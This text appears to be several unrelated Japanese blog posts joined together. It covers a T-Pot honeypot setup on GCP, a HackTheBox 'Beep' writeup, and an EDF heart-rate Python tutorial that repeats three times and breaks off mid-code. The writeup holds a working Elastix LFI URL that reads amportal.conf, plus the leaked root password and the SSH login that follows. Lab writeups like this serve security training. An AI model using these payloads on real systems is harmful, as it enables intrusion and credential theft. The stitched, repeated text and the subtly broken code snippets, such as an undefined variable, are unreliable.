GCPにT-Pot建てる(自分の環境で出たエラーと解決)
T-Potについて
- HoneyPotをGCPに立てる
- HoneyPotとしては、一つで複数のハニーポットが立てられるT-Potを利用する
- 好きな場所にVMを置ける&セキュリティの観点からも、GCPのCompute EngineのVMインスタンスを利用すると良き
- 国によって攻撃元の国が異なったりするのかなとか調べたり、、
GCPの設定
ファイアーウォールの設定
- 全てのポートを許可する設定をする
- GCPは明示的にルールを書かないと解放されない
- VPCネットワーク→Firewall
- ファイアーウォールルールを設定ボタン
- 以下の画像の通りに設定
- 管理者用画面、sshはログインかかる
- 必要に応じて、ポート番号(例:64294, 64295, 64297)をファイアーウォールで制限しても良い。
- このルール以外は削除する

- ファイアーウォールルールを設定ボタン
Compute Engineの設定
| T-Pot Type | RAM | Storage | Description |
|---|---|---|---|
| Hive | 16GB | 256GB SSD | As a rule of thumb, the more honeypots, sensors & data, the more RAM and storage is needed. |
- e2-standard-4(4 vCPU、2 コア、16 GB メモリ)を使用する
- Debian GNU/Linux 12 (bookworm)
- ストレージ:256GB
- ネットワーキング→ネットワークタグ
- default

- default
VMに接続して、T-Potをインストール
sudo apt update env bash -c "$(curl -sL https://github.com/telekom-security/tpotce/raw/master/install.sh)"
install Typeは、一番多くのハニーポットが建てられるので、hを選択
### Choose your T-Pot type: ### (H)ive - T-Pot Standard / HIVE installation. ### Includes also everything you need for a distributed setup with sensors. ### (S)ensor - T-Pot Sensor installation. ### Optimized for a distributed installation, without WebUI, Elasticsearch and Kibana. ### (L)LM - T-Pot LLM installation. ### Uses LLM based honeypots Beelzebub & Galah. ### Requires Ollama (recommended) or ChatGPT subscription. ### M(i)ni - T-Pot Mini installation. ### Run 30+ honeypots with just a couple of honeypot daemons. ### (M)obile - T-Pot Mobile installation. ### Includes everything to run T-Pot Mobile (available separately). ### (T)arpit - T-Pot Tarpit installation. ### Feed data endlessly to attackers, bots and scanners. ### Also runs a Denial of Service Honeypot (ddospot). ### Install Type? (h/s/l/i/m/t) h ### Installing T-Pot Standard / HIVE. ### T-Pot User Configuration ...
インストール完了したら、再起動する
sudo reboot
管理用のsshのポートが22番から、T-Potによって64295番に変更されてるので、「ブラウザウィンドウでカスタムポートを開く」で64295番を指定する。

T-Potは再起動後に自動的に起動するので、上手くいっているかを確認する
sudo systemctl status tpot
T-Podを自分の環境で試したときは、activeになっているので上手くいっているかのように思われた。
しかし、http://VMの外部IP:64297/にアクセスできたり出来なかったりする事象が確認された。
これは、後述するが、GCEのDebianのデフォルトのメール転送エージェント (MTA) とT-Podの仕様が噛み合ってしまって、実際には正常に動いていないのに、systemctl status tpotではactiveになり、さも動いているかのように見えてしまうという事象である。
honeypot_trap_3@t-pot-2:~$ sudo systemctl status tpot
● tpot.service - T-Pot
Loaded: loaded (/etc/systemd/system/tpot.service; enabled; preset: enabled)
Active: active (running) since Tue 2024-12-31 13:07:43 UTC; 19s ago
Process: 35168 ExecStartPre=/usr/bin/docker compose -f /home/honeypot_trap_3/tpotce/docker-compose.yml down -v (code=exited, status=0/SUCCESS)
Main PID: 37368 (docker)
Tasks: 20 (limit: 19175)
Memory: 43.5M
CPU: 1.459s
CGroup: /system.slice/tpot.service
├─37368 /usr/bin/docker compose -f /home/honeypot_trap_3/tpotce/docker-compose.yml up
└─37385 /usr/libexec/docker/cli-plugins/docker-compose compose -f /home/honeypot_trap_3/tpotce/docker-compose.yml up
Dec 31 13:08:00 t-pot-2 docker[37385]: tanner_redis | `-._ `-._`-.__.-'_.-' _.-'
Dec 31 13:08:00 t-pot-2 docker[37385]: tanner_redis | `-._ `-.__.-' _.-'
Dec 31 13:08:00 t-pot-2 docker[37385]: tanner_redis | `-._ _.-'
Dec 31 13:08:00 t-pot-2 docker[37385]: tanner_redis | `-.__.-'
Dec 31 13:08:00 t-pot-2 docker[37385]: tanner_redis |
Dec 31 13:08:00 t-pot-2 docker[37385]: tanner_redis | 1:M 31 Dec 2024 13:08:00.690 * Server initialized
Dec 31 13:08:00 t-pot-2 docker[37385]: tanner_redis | 1:M 31 Dec 2024 13:08:00.690 * Ready to accept connections tcp
Dec 31 13:08:01 t-pot-2 docker[37385]: adbhoney | INFO:config:Loading config from ./_internal/adbhoney.cfg
Dec 31 13:08:01 t-pot-2 docker[37385]: adbhoney | INFO:ADBHoneypot:Configuration loaded with ['output_log', 'output_json'] as output plugins
Dec 31 13:08:01 t-pot-2 docker[37385]: adbhoney | INFO:ADBHoneypot:Listening on 0.0.0.0:5555.
この事象を回避するための処理を行う。
問題なのは、T-Podは、上手くいかないとバックグラウンドでT-Podは再起動を繰り返すことである。
そのため、どこでエラーが起きているのかが、systemctlコマンドでは見つけにくいのであると思う。
まず、以下のコマンドで、T-Podのログを見る。
sudo journalctl -u tpot.service -f
しばらく見ていると、以下のようにT-podのメインプロセスが失敗し、コンテナを停止するログが見つかる。
このエラーが起こる理由は、Debianのデフォルトのメール転送エージェント (MTA) の仕様で25番ポートを使用しており、T-Podも使用しようとしているためである。
Dec 31 13:10:03 t-pot-2 docker[44591]: Error response from daemon: driver failed programming external connectivity on endpoint mailoney (7303cd1b57e19c217baa8f83fdfe1879f2a71c3953cbaae9a411203df4980333): failed to bind port 0.0.0.0:25/tcp: Error starting userland proxy: listen tcp4 0.0.0.0:25: bind: address already in use Dec 31 13:10:03 t-pot-2 systemd[1]: tpot.service: Main process exited, code=exited, status=1/FAILURE Dec 31 13:10:03 t-pot-2 systemd[1]: tpot.service: Failed with result 'exit-code'.
今回は、T-Podを優先したいので、Debian側の25番ポートを使用しているプロセスを停止wさせる。
そのために、まずGCE側の25番ポートを使用しているプロセスを特定する。
lsofコマンドを使用する。
sudo apt install lsof sudo lsof -i :25
自分の環境ではこのようになっていた。
honeypot_trap_3@t-pot-2:~$ sudo lsof -i :25 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME exim4 819 Debian-exim 4u IPv4 2714 0t0 TCP localhost:smtp (LISTEN) exim4 819 Debian-exim 5u IPv6 2715 0t0 TCP localhost:smtp (LISTEN)
自分の環境では、exim4が25番ポートを使用していたため、exim4プロセスをストップさせる。
sudo systemctl stop exim4
これで自分の環境は問題が解決した。
sudo systemctl restart tpot
http://VMの外部IP:64297/にアクセスすると、T-Podの管理画面にアクセスできる。
結構見ていると、T-Podにアクセス飛んできているの見れて楽しい。

HackTheBox "Beep" 反省&writeup
概要
https://app.hackthebox.com/machines/Beep
Nmap スキャン結果
スキャンコマンド
sudo nmap -vvv -sCV -Pn -p0-65535 --reason <IP>
結果の概要
Nmapの結果から、ウェブサービスが稼働していることを確認した。
初期調査
ウェブサイトの探索
https://<IP> にアクセスすると、Elastixというサービスのログインページが表示された。
使用したツール
- Nikto: サイトの脆弱性スキャンを試みた
bash nikto -h https://<IP> Gobuster: ディレクトリ探索を実施した
bash gobuster dir --url https://<IP> --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x phpElastixについて、HackTheBoxのGuideを確認して初めて調査を開始した。(反省点)
- SQLインジェクション(
' OR 1=1;--)を試みたが、効かなかった。
Nmapの詳細な結果
NmapのHTTPヘッダーから、ターゲットが Apache/2.2.3 (CentOS) を使用していることがわかった。
脆弱性調査とエクスプロイト
Elastixの脆弱性調査
searchsploit を使用してElastixに関連する脆弱性を検索した。
searchsploit elastix
脆弱性
Elastixには以下のような脆弱性が存在していた:
- Local File Inclusion(LFI): php/webapps/37637.txt
エクスプロイトの確認
エクスプロイトコードを確認し、内容を理解した。
searchsploit -x php/webapps/37637.txt
LFI攻撃の実行
LFI脆弱性を利用して、amportal.conf をブラウザから直接読み出した。
amportal.confの解析
amportal.conf は FreePBX の設定ファイル
- FreePBX初期設定のユーザー名とパスワード
- データベース情報
- Asterisk Manager Interface(AMI)の認証情報
解析結果
ユーザー名とパスワードはデフォルト設定のままだった。
- ユーザー名: root
- パスワード: jEhdIekWmdjE
SSHアクセス
問題点
SSH接続時に以下のエラーが発生した:
Unable to negotiate with <IP> port 22: no matching key exchange method found. Their offer: ssh-rsa, ssh-dss
解決方法
鍵交換アルゴリズムとホスト鍵アルゴリズムを指定して接続した。
ssh -o KexAlgorithms=+diffie-hellman-group1-sha1 -o HostKeyAlgorithms=+ssh-rsa,ssh-dss root@10.129.229.183
成果
amportal.confで得た認証情報を使用し、SSH接続に成功した。root権限を取得し、userとrootの両フラグを入手した。
反省点と学び
ウェブサイト調査の精度向上
Nmap結果の整理と優先順位付け
- スキャン後に得られる大量の情報に対して、次のアクションを明確にする必要があった。
- OSやサービスの特定
- サービスごとの脆弱性調査
- スキャン後に得られる大量の情報に対して、次のアクションを明確にする必要があった。
エクスプロイトコードの読み取り
- Metasploitに頼らず、
searchsploitなどで得たエクスプロイトコードを読み解くことができた点は良かった。
- Metasploitに頼らず、
焦らないこと
- 新しい情報を得た際、焦らず一つ一つ丁寧に調査を進めることを意識した。
改善ポイント
- Webサービスの特定: サービス名やバージョンを迅速に把握し、脆弱性を特定する。
- ツールの扱い方:
niktoやgobusterが失敗する原因を理解し、適切な回避策を調べる。 - 手順の整理: 情報収集から攻撃までの流れを明確にし、次に何をすべきか見失わない。
- エクスプロイトコードの理解: 今後もコードを読み、実行内容を正確に把握する。
コマンドリスト
本マシン攻略で使用した主要なコマンド:
Nmapスキャン
bash sudo nmap -vvv -sCV -Pn -p0-65535 --reason <IP>Elastixの脆弱性調査
bash searchsploit elastix searchsploit -x php/webapps/37637.txthttps://www.exploit-db.com/exploits/37637LFI攻撃
https://<IP>//vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action:titleSSHアクセス
bash ssh -o KexAlgorithms=+diffie-hellman-group1-sha1 -o HostKeyAlgorithms=+ssh-rsa,ssh-dss root@10.129.229.183
edfファイルからbpm取得
polar H10で、心拍数(bpm)を取ろうかなと思ったら、.edfファイルだった
ミッション : .edfからbpmを取得せよ
pythonでやりたい。
edfファイルとは、心拍データなど生体信号に使用されるデータで、拡張子が.edfとなっている。
このデータをcsvファイルのように直接見ることは出来ないが、Pythonではいくつかのパッケージがある。
インポート
下のコードで使うもの
import pyedflib import biosppy import matplotlib.pyplot as plt from statistics import mean import pandas as pd import japanize_matplotlib from datetime import datetime,timedelta from scipy.signal import resample import matplotlib.dates as mdates
edfファイルを読み込む
使用するパッケージ : pyedflib
PyEDFlib -EDF/BDF Toolbox in Python — PyEDFlib Documentation
filename = 'edfファイルパス' file = pyedflib.EdfReader(filename)
心拍のチャンネルを取得
edfファイルには、チャンネルと呼ばれるものがあり、異なるセンサーや電極から記録される個々の信号は各チャンネルごとに各センサーのデータがまとまっています。 edfファイルから特定の信号(今回はECG)を取得するためには、チャンネルを指定する必要がある。 ここでは、自作関数を使ってECG チャンネルを特定・抽出しています。
# ECGデータが含まれるチャンネルを特定 def find_ecg_channel(file): # EDFファイル内のすべてのチャンネルラベルを取得する channel_labels = file.getSignalLabels() # ECGデータが含まれるチャンネルを特定する for i, label in enumerate(channel_labels): if 'ECG' in label: return i # ECGデータが含まれるチャンネルが見つからない場合は、Noneを返す return None ecg_channel = find_ecg_channel(file)
心拍と心拍数の経過時間を取得
edfのチャンネルを取得したので、チャンネルを指定してデータを読み込む。 そして、biosppyのbiosppy.signals.ecg.ecgを使って、心拍と心拍数の経過時間(秒)を取得する。
def detect_heart_rate(signal, sampling_rate): out = biosppy.signals.ecg.ecg(signal, sampling_rate=sampling_rate,show=False,interactive=False) # HeartRateの基準時間とHeartRateのデータのインデックスを返す return out['heart_rate_ts'],out['heart_rate'] if ecg_channel is not None: # チャンネルから信号とサンプリングレートを取得 signal = file.readSignal(ecg_channel) sampling_rate = file.getSampleFrequency(ecg_channel) print('sampling rate',sampling_rate) #信号の軸とHeartRateの取得 ts,heart_rate = detect_heart_rate(signal, sampling_rate) print('ts',ts) print('heart rate',heart_rate) print('bpm',len(heart_rate))
リサンプリング
心拍と心拍数の経過時間を調べることはできたが、このままでは測定機器のサンプリングレートに従っているので、まだBPM(1分あたりの心拍数)とは言えない。 なので、1分間あたりにリサンプリングする。
# オリジナルのデータの長さとサンプリングレートを取得 original_length = len(ts) original_sampling_rate = original_length / ts[-1] #1分あたりでサンプリングレート・1分あたりでサンプリングしたかったら、1 sampling_rate =1/60 # 新しいデータの長さを計算 new_length = int(original_length * (sampling_rate / original_sampling_rate)) # ダウンサンプリング downsampled_ts = resample(ts, new_length) downsampled_heart_rate= resample(heart_rate, new_length)
秒から日付時間へ
*心拍データが長い人用
以上でedfファイルからbpmを取り出すことができたので、matplotlibでプロットしていく。
その前に、長い時間心拍のデータをとっていたら、x軸をわかりづらい'秒'ではなく、日付時間で表したい。
そのため、x軸を秒から日付時間に変換する。そして、dataframeにすることでプロットが楽になる
#ダウンサンプリングされた値をdatetimeの形に直す #測定開始の日付時間(例:2023年6月5日22時7分40秒) base_datetime = datetime(2023, 6, 5, 22, 7, 40) datetimes = [] for i,value in enumerate(downsampled_ts): datetimes.append(base_datetime + timedelta(seconds=i)) datetimes = [value.strftime('%Y-%m-%d %H:%M:%S') for value in datetimes] #pandasの形に直す heart_rate_df = pd.DataFrame(downsampled_heart_rate_h10) heart_rate_df = heart_rate_df.set_index(pd.to_datetime(datetimes))
matplotlibでプロット
#グラフを表示する領域を,figオブジェクトとして作成。 fig = plt.figure(figsize = (10,6), facecolor='lightblue') ax = fig.add_subplot() ax.plot(heart_rate_df) #axのx軸ラベルを指定 # 開始日時と終了日時をdatetimeオブジェクトとして表現 start_datetime = datetime(2023, 6, 5, 22, 7, 40) end_datetime = datetime(2023, 6, 5, 22, 48, 1) # 5分ごとの日時をリストに格納 time_range_5min = [] current_time = start_datetime while current_time <= end_datetime: time_range_5min.append(current_time) #minutesを変えることで、何分ごとにx軸を表示するかを決める current_time += timedelta(minutes=5) # datetimeオブジェクトを数値に変換 time_range_5min_num = [mdates.date2num(dt) for dt in time_range_5min] # x軸の目盛りを設定 ax.set_xticks(time_range_5min_num) # x軸のフォーマッタを設定 ax.xaxis.set_major_formatter(mdates.DateFormatter('%H:%M:%S')) #各subplotにxラベルを追加 ax.set_xlabel('time') #各subplotにyラベルを追加 ax.set_ylabel('bpm(1m)') ax.legend(loc = 'upper right') plt.show()
最終結果
うまくいくとこんな感じ

全体コード
import pyedflib import biosppy import matplotlib.pyplot as plt from statistics import mean import pandas as pd import japanize_matplotlib from datetime import datetime,timedelta from scipy.signal import resample import matplotlib.dates as mdates filename = 'edfファイルパス' file = pyedflib.EdfReader(filename) # ECGデータが含まれるチャンネルを特定 def find_ecg_channel(file): # EDFファイル内のすべてのチャンネルラベルを取得する channel_labels = file.getSignalLabels() # ECGデータが含まれるチャンネルを特定する for i, label in enumerate(channel_labels): if 'ECG' in label: return i # ECGデータが含まれるチャンネルが見つからない場合は、Noneを返す return None def detect_heart_rate(signal, sampling_rate): out = biosppy.signals.ecg.ecg(signal, sampling_rate=sampling_rate,show=False,interactive=False) # HeartRateの基準時間とHeartRateのデータのインデックスを返す return out['heart_rate_ts'],out['heart_rate'] ecg_channel = find_ecg_channel(file) if ecg_channel is not None: # チャンネルから信号とサンプリングレートを取得 signal = file.readSignal(ecg_channel) sampling_rate = file.getSampleFrequency(ecg_channel) print('sampling rate',sampling_rate) #信号の軸とHeartRateの取得 ts,heart_rate = detect_heart_rate(signal, sampling_rate) print('ts',ts) print('heart rate',heart_rate) print('bpm',len(heart_rate)) # オリジナルのデータの長さとサンプリングレートを取得 original_length = len(ts) original_sampling_rate = original_length / ts[-1] #1分あたりでサンプリングレート sampling_rate =1/60 # 新しいデータの長さを計算 new_length = int(original_length * (sampling_rate / original_sampling_rate)) # ダウンサンプリング downsampled_ts = resample(ts, new_length) downsampled_heart_rate= resample(heart_rate, new_length) #ダウンサンプリングされた値をdatetimeの形に直す #測定開始の日付時間(例:2023年6月5日22時7分40秒) base_datetime = datetime(2023, 6, 5, 22, 7, 40) datetimes = [] for i,value in enumerate(downsampled_ts): datetimes.append(base_datetime + timedelta(minutes=i)) datetimes = [value.strftime('%Y-%m-%d %H:%M:%S') for value in datetimes] #pandasの形に直す heart_rate_df = pd.DataFrame(downsampled_heart_rate) heart_rate_df = heart_rate_df.set_index(pd.to_datetime(datetimes)) else: print('心拍データが含まれていません') #グラフを表示する領域を,figオブジェクトとして作成。 fig = plt.figure(figsize = (10,6), facecolor='lightblue') ax = fig.add_subplot() ax.plot(heart_rate_df) #axのx軸ラベルを指定 # 開始日時と終了日時をdatetimeオブジェクトとして表現 start_datetime = datetime(2023, 6, 5, 22, 7, 40) end_datetime = datetime(2023, 6, 5, 22, 48, 1) # 5分ごとの日時をリストに格納 time_range_5min = [] current_time = start_datetime while current_time <= end_datetime: time_range_5min.append(current_time) #minutesを変えることで、何分ごとにx軸を表示するかを決める current_time += timedelta(minutes=5) # datetimeオブジェクトを数値に変換 time_range_5min_num = [mdates.date2num(dt) for dt in time_range_5min] # x軸の目盛りを設定 ax.set_xticks(time_range_5min_num) # x軸のフォーマッタを設定 ax.xaxis.set_major_formatter(mdates.DateFormatter('%H:%M:%S')) #各subplotにxラベルを追加 ax.set_xlabel('time') #各subplotにyラベルを追加 ax.set_ylabel('bpm(1m)') plt.show()
edfファイルからbpm取得
polar H10で、心拍数(bpm)を取ろうかなと思ったら、.edfファイルだった
ミッション : .edfからbpmを取得せよ
pythonでやりたい。
edfファイルとは、心拍データなど生体信号に使用されるデータで、拡張子が.edfとなっている。
このデータをcsvファイルのように直接見ることは出来ないが、Pythonではいくつかのパッケージがある。
インポート
下のコードで使うもの
import pyedflib import biosppy import matplotlib.pyplot as plt from statistics import mean import pandas as pd import japanize_matplotlib from datetime import datetime,timedelta from scipy.signal import resample import matplotlib.dates as mdates
edfファイルを読み込む
使用するパッケージ : pyedflib
PyEDFlib -EDF/BDF Toolbox in Python — PyEDFlib Documentation
filename = 'ファイルパス' file = pyedflib.EdfReader(filename)
心拍のチャンネルを取得
edfファイルには、チャンネルと呼ばれるものがあり、異なるセンサーや電極から記録される個々の信号は各チャンネルごとに各センサーのデータがまとまっています。 edfファイルから特定の信号(今回はECG)を取得するためには、チャンネルを指定する必要がある。 ここでは、自作関数を使ってECG チャンネルを特定・抽出しています。
# ECGデータが含まれるチャンネルを特定 def find_ecg_channel(file): # EDFファイル内のすべてのチャンネルラベルを取得する channel_labels = file.getSignalLabels() # ECGデータが含まれるチャンネルを特定する for i, label in enumerate(channel_labels): if 'ECG' in label: return i # ECGデータが含まれるチャンネルが見つからない場合は、Noneを返す return None ecg_channel = find_ecg_channel(file)
心拍と心拍数の経過時間を取得
edfのチャンネルを取得したので、チャンネルを指定してデータを読み込む。 そして、biosppyのbiosppy.signals.ecg.ecgを使って、心拍と心拍数の経過時間(秒)を取得する。
def detect_heart_rate(signal, sampling_rate): out = biosppy.signals.ecg.ecg(signal, sampling_rate=sampling_rate,show=False,interactive=False) # HeartRateの基準時間とHeartRateのデータのインデックスを返す return out['heart_rate_ts'],out['heart_rate'] if ecg_channel is not None: # チャンネルから信号とサンプリングレートを取得 signal = file.readSignal(ecg_channel) sampling_rate = file.getSampleFrequency(ecg_channel) print('sampling rate',sampling_rate) #信号の軸とHeartRateの取得 ts,heart_rate = detect_heart_rate(signal, sampling_rate) print('ts',ts) print('heart rate',heart_rate) print('bpm',len(heart_rate))
リサンプリング
心拍と心拍数の経過時間を調べることはできたが、このままでは測定機器のサンプリングレートに従っているので、まだBPM(1分あたりの心拍数)とは言えない。 なので、1分間あたりにリサンプリングする。
# オリジナルのデータの長さとサンプリングレートを取得 original_length = len(ts) original_sampling_rate = original_length / ts[-1] #1分あたりでサンプリングレート・1分あたりでサンプリングしたかったら、1 sampling_rate =1/60 # 新しいデータの長さを計算 new_length = int(original_length * (sampling_rate / original_sampling_rate)) # ダウンサンプリング downsampled_ts = resample(ts, new_length) downsampled_heart_rate= resample(heart_rate, new_length)
秒から日付時間へ
*心拍データが長い人用
以上でedfファイルからbpmを取り出すことができたので、matplotlibでプロットしていく。
その前に、長い時間心拍のデータをとっていたら、x軸をわかりづらい'秒'ではなく、日付時間で表したい。
そのため、x軸を秒から日付時間に変換する。そして、dataframeにすることでプロットが楽になる
#ダウンサンプリングされた値をdatetimeの形に直す #測定開始の日付時間(例:2023年6月5日22時7分40秒) base_datetime = datetime(2023, 6, 5, 22, 7, 40) datetimes = [] for i,value in enumerate(downsampled_ts): datetimes.append(base_datetime + timedelta(seconds=i)) datetimes = [value.strftime('%Y-%m-%d %H:%M:%S') for value in datetimes] #pandasの形に直す heart_rate_df = pd.DataFrame(downsampled_heart_rate_h10) heart_rate_df = heart_rate_df.set_index(pd.to_datetime(datetimes))
matplotlibでプロット
#グラフを表示する領域を,figオブジェクトとして作成。 fig = plt.figure(figsize = (10,6), facecolor='lightblue') ax = fig.add_subplot() ax.plot(heart_rate_df) #axのx軸ラベルを指定 # 開始日時と終了日時をdatetimeオブジェクトとして表現 start_datetime = datetime(2023, 6, 5, 22, 7, 40) end_datetime = datetime(2023, 6, 5, 22, 48, 1) # 5分ごとの日時をリストに格納 time_range_5min = [] current_time = start_datetime while current_time <= end_datetime: time_range_5min.append(current_time) #minutesを変えることで、何分ごとにx軸を表示するかを決める current_time += timedelta(minutes=5) # datetimeオブジェクトを数値に変換 time_range_5min_num = [mdates.date2num(dt) for dt in time_range_5min] # x軸の目盛りを設定 ax.set_xticks(time_range_5min_num) # x軸のフォーマッタを設定 ax.xaxis.set_major_formatter(mdates.DateFormatter('%H:%M:%S')) #各subplotにxラベルを追加 ax.set_xlabel('time') #各subplotにyラベルを追加 ax.set_ylabel('bpm(1m)') ax.legend(loc = 'upper right') plt.show()
全体コード
import pyedflib import biosppy import matplotlib.pyplot as plt from statistics import mean import pandas as pd import japanize_matplotlib from datetime import datetime,timedelta from scipy.signal import resample import matplotlib.dates as mdates filename = '' file = pyedflib.EdfReader(filename) # ECGデータが含まれるチャンネルを特定 def find_ecg_channel(file): # EDFファイル内のすべてのチャンネルラベルを取得する channel_labels = file.getSignalLabels() # ECGデータが含まれるチャンネルを特定する for i, label in enumerate(channel_labels): if 'ECG' in label: return i # ECGデータが含まれるチャンネルが見つからない場合は、Noneを返す return None def detect_heart_rate(signal, sampling_rate): out = biosppy.signals.ecg.ecg(signal, sampling_rate=sampling_rate,show=False,interactive=False) # HeartRateの基準時間とHeartRateのデータのインデックスを返す return out['heart_rate_ts'],out['heart_rate'] ecg_channel = find_ecg_channel(file) if ecg_channel is not None: # チャンネルから信号とサンプリングレートを取得 signal = file.readSignal(ecg_channel) sampling_rate = file.getSampleFrequency(ecg_channel) print('sampling rate',sampling_rate) #信号の軸とHeartRateの取得 ts,heart_rate = detect_heart_rate(signal, sampling_rate) print('ts',ts) print('heart rate',heart_rate) print('bpm',len(heart_rate)) # オリジナルのデータの長さとサンプリングレートを取得 original_length = len(ts) original_sampling_rate = original_length / ts[-1] #1分あたりでサンプリングレート sampling_rate =1/60 # 新しいデータの長さを計算 new_length = int(original_length * (sampling_rate / original_sampling_rate)) # ダウンサンプリング downsampled_ts = resample(ts, new_length) downsampled_heart_rate= resample(heart_rate, new_length) #ダウンサンプリングされた値をdatetimeの形に直す #測定開始の日付時間(例:2023年6月5日22時7分40秒) base_datetime = datetime(2023, 6, 5, 22, 7, 40) datetimes = [] for i,value in enumerate(downsampled_ts): datetimes.append(base_datetime + timedelta(minutes=i)) datetimes = [value.strftime('%Y-%m-%d %H:%M:%S') for value in datetimes] #pandasの形に直す heart_rate_df = pd.DataFrame(downsampled_heart_rate) heart_rate_df = heart_rate_df.set_index(pd.to_datetime(datetimes)) else: print('心拍データが含まれていません') #グラフを表示する領域を,figオブジェクトとして作成。 fig = plt.figure(figsize = (10,6), facecolor='lightblue') ax = fig.add_subplot() ax.plot(heart_rate_df) #axのx軸ラベルを指定 # 開始日時と終了日時をdatetimeオブジェクトとして表現 start_datetime = datetime(2023, 6, 5, 22, 7, 40) end_datetime = datetime(2023, 6, 5, 22, 48, 1) # 5分ごとの日時をリストに格納 time_range_5min = [] current_time = start_datetime while current_time <= end_datetime: time_range_5min.append(current_time) #minutesを変えることで、何分ごとにx軸を表示するかを決める current_time += timedelta(minutes=5) # datetimeオブジェクトを数値に変換 time_range_5min_num = [mdates.date2num(dt) for dt in time_range_5min] # x軸の目盛りを設定 ax.set_xticks(time_range_5min_num) # x軸のフォーマッタを設定 ax.xaxis.set_major_formatter(mdates.DateFormatter('%H:%M:%S')) #各subplotにxラベルを追加 ax.set_xlabel('time') #各subplotにyラベルを追加 ax.set_ylabel('bpm(1m)') plt.show()
edfファイルからbpm取得
polar H10で、心拍数(bpm)を取ろうかなと思ったら、.edfファイルだった
ミッション : .edfからbpmを取得せよ
pythonでやりたい。
edfファイルとは、心拍データなど生体信号に使用されるデータで、拡張子が.edfとなっている。
このデータをcsvファイルのように直接見ることは出来ないが、Pythonではいくつかのパッケージがある。
インポート
下のコードで使うもの
import pyedflib import biosppy import matplotlib.pyplot as plt from statistics import mean import pandas as pd import japanize_matplotlib from datetime import datetime,timedelta from scipy.signal import resample import matplotlib.dates as mdates
edfファイルを読み込む
使用するパッケージ : pyedflib PyEDFlib -EDF/BDF Toolbox in Python — PyEDFlib Documentation
filename = 'ファイルパス' file = pyedflib.EdfReader(filename)
心拍のチャンネルを取得
edfファイルには、チャンネルと呼ばれるものがあり、異なるセンサーや電極から記録される個々の信号は各チャンネルごとに各センサーのデータがまとまっています。 edfファイルから特定の信号(今回はECG)を取得するためには、チャンネルを指定する必要がある。 ここでは、自作関数を使ってECG チャンネルを特定・抽出しています。
# ECGデータが含まれるチャンネルを特定 def find_ecg_channel(file): # EDFファイル内のすべてのチャンネルラベルを取得する channel_labels = file.getSignalLabels() # ECGデータが含まれるチャンネルを特定する for i, label in enumerate(channel_labels): if 'ECG' in label: return i # ECGデータが含まれるチャンネルが見つからない場合は、Noneを返す return None ecg_channel = find_ecg_channel(file)
心拍と心拍数の経過時間を取得
edfのチャンネルを取得したので、チャンネルを指定してデータを読み込む。 そして、biosppyのbiosppy.signals.ecg.ecgを使って、心拍と心拍数の経過時間(秒)を取得する。
def detect_heart_rate(signal, sampling_rate): out = biosppy.signals.ecg.ecg(signal, sampling_rate=sampling_rate,show=False,interactive=False) # HeartRateの基準時間とHeartRateのデータのインデックスを返す return out['heart_rate_ts'],out['heart_rate'] if ecg_channel is not None: # チャンネルから信号とサンプリングレートを取得 signal = file.readSignal(ecg_channel) sampling_rate = file.getSampleFrequency(ecg_channel) print('sampling rate',sampling_rate) #信号の軸とHeartRateの取得 ts,heart_rate = detect_heart_rate(signal, sampling_rate) print('ts',ts) print('heart rate',heart_rate) print('bpm',len(heart_rate))
リサンプリング
心拍と心拍数の経過時間を調べることはできたが、このままでは測定機器のサンプリングレートに従っているので、まだBPM(1分あたりの心拍数)とは言えない。 なので、1分間あたりにリサンプリングする。
# オリジナルのデータの長さとサンプリングレートを取得 original_length = len(ts) original_sampling_rate = original_length / ts[-1] #1分あたりでサンプリングレート・1分あたりでサンプリングしたかったら、1 sampling_rate =1/60 # 新しいデータの長さを計算 new_length = int(original_length * (sampling_rate / original_sampling_rate)) # ダウンサンプリング downsampled_ts = resample(ts, new_length) downsampled_heart_rate= resample(heart_rate, new_length)
秒から日付時間へ
*心拍データが長い人用 以上でedfファイルからbpmを取り出すことができたので、matplotlibでプロットしていく。 その前に、長い時間心拍のデータをとっていたら、x軸をわかりづらい'秒'ではなく、日付時間で表したい。 そのため、x軸を秒から日付時間に変換する。そして、dataframeにすることでプロットが楽になる
#ダウンサンプリングされた値をdatetimeの形に直す #測定開始の日付時間(例:2023年6月5日22時7分40秒) base_datetime = datetime(2023, 6, 5, 22, 7, 40) datetimes = [] for i,value in enumerate(downsampled_ts): datetimes.append(base_datetime + timedelta(seconds=i)) datetimes = [value.strftime('%Y-%m-%d %H:%M:%S') for value in datetimes] #pandasの形に直す heart_rate_df = pd.DataFrame(downsampled_heart_rate_h10) heart_rate_df = heart_rate_df.set_index(pd.to_datetime(datetimes))
matplotlibでプロット
#グラフを表示する領域を,figオブジェクトとして作成。 fig = plt.figure(figsize = (10,6), facecolor='lightblue') ax = fig.add_subplot() ax.plot(heart_rate_df) #axのx軸ラベルを指定 # 開始日時と終了日時をdatetimeオブジェクトとして表現 start_datetime = datetime(2023, 6, 5, 22, 7, 40) end_datetime = datetime(2023, 6, 5, 22, 48, 1) # 5分ごとの日時をリストに格納 time_range_5min = [] current_time = start_datetime while current_time <= end_datetime: time_range_5min.append(current_time) #minutesを変えることで、何分ごとにx軸を表示するかを決める current_time += timedelta(minutes=5) # datetimeオブジェクトを数値に変換 time_range_5min_num = [mdates.date2num(dt) for dt in time_range_5min] # x軸の目盛りを設定 ax.set_xticks(time_range_5min_num) # x軸のフォーマッタを設定 ax.xaxis.set_major_formatter(mdates.DateFormatter('%H:%M:%S')) #各subplotにxラベルを追加 ax.set_xlabel('time') #各subplotにyラベルを追加 ax.set_ylabel('bpm(1m)') ax.legend(loc = 'upper right') plt.show()
全体コード
import pyedflib import biosppy import matplotlib.pyplot as plt from statistics import mean import pandas as pd import japanize_matplotlib from datetime import datetime,timedelta from scipy.signal import resample import matplotlib.dates as mdates filename = '' file = pyedflib.EdfReader(filename) # ECGデータが含まれるチャンネルを特定 def find_ecg_channel(file): # EDFファイル内のすべてのチャンネルラベルを取得する channel_labels = file.getSignalLabels() # ECGデータが含まれるチャンネルを特定する for i, label in enumerate(channel_labels): if 'ECG' in label: return i # ECGデータが含まれるチャンネルが見つからない場合は、Noneを返す return None def detect_heart_rate(signal, sampling_rate): out = biosppy.signals.ecg.ecg(signal, sampling_rate=sampling_rate,show=False,interactive=False) # HeartRateの基準時間とHeartRateのデータのインデックスを返す return out['heart_rate_ts'],out['heart_rate'] ecg_channel = find_ecg_channel(file) if ecg_channel is not None: # 